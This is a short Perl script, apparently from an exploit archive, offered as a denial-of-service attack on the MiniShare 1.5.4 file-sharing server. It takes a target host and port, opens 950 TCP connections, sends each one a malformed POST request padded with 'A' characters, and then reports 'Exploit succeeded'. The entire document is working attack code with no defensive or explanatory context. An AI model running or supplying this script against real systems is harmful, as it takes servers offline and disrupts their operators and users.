minish.txt

`#!/usr/bin/perl  
  
###########################################  
# MiniShare 1.5.4 Denial Of Service  
#  
# Site: http://minishare.sourceforge.net/  
#  
#  
# Coded by device - geeksytem[at]gmail[dot]com  
# http://geekmind.altervista.org  
###########################################  
  
use strict;  
use warnings;  
use IO::Socket;  
  
sub usage{  
print "Usage: script.pl host port\n\n";  
}  
  
print "------------------------------\n";  
print "MiniShare 1.5.4 DoS\n";  
print "------------------------------\n";  
print "Coded by device\n";  
print "geeksystem[at]gmail[dot]com\n";  
print "http://geekmind.altervista.org\n\n";  
  
if (@ARGV < 2) { &usage; exit;}  
  
my $host = $ARGV[0];  
my $port = $ARGV[1];  
my $time = '950';  
my $req = 'A'x40;  
  
for (my $i=1; $i<=$time; $i++)  
{  
my $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"$port")  
or die "[+] Connecting ... Could not connect to host.\n\n";  
  
print $sock "POST /".$req." HTTP/1.1 \n\n";  
}  
  
print "Exploit succeeded\n\n";  
  
`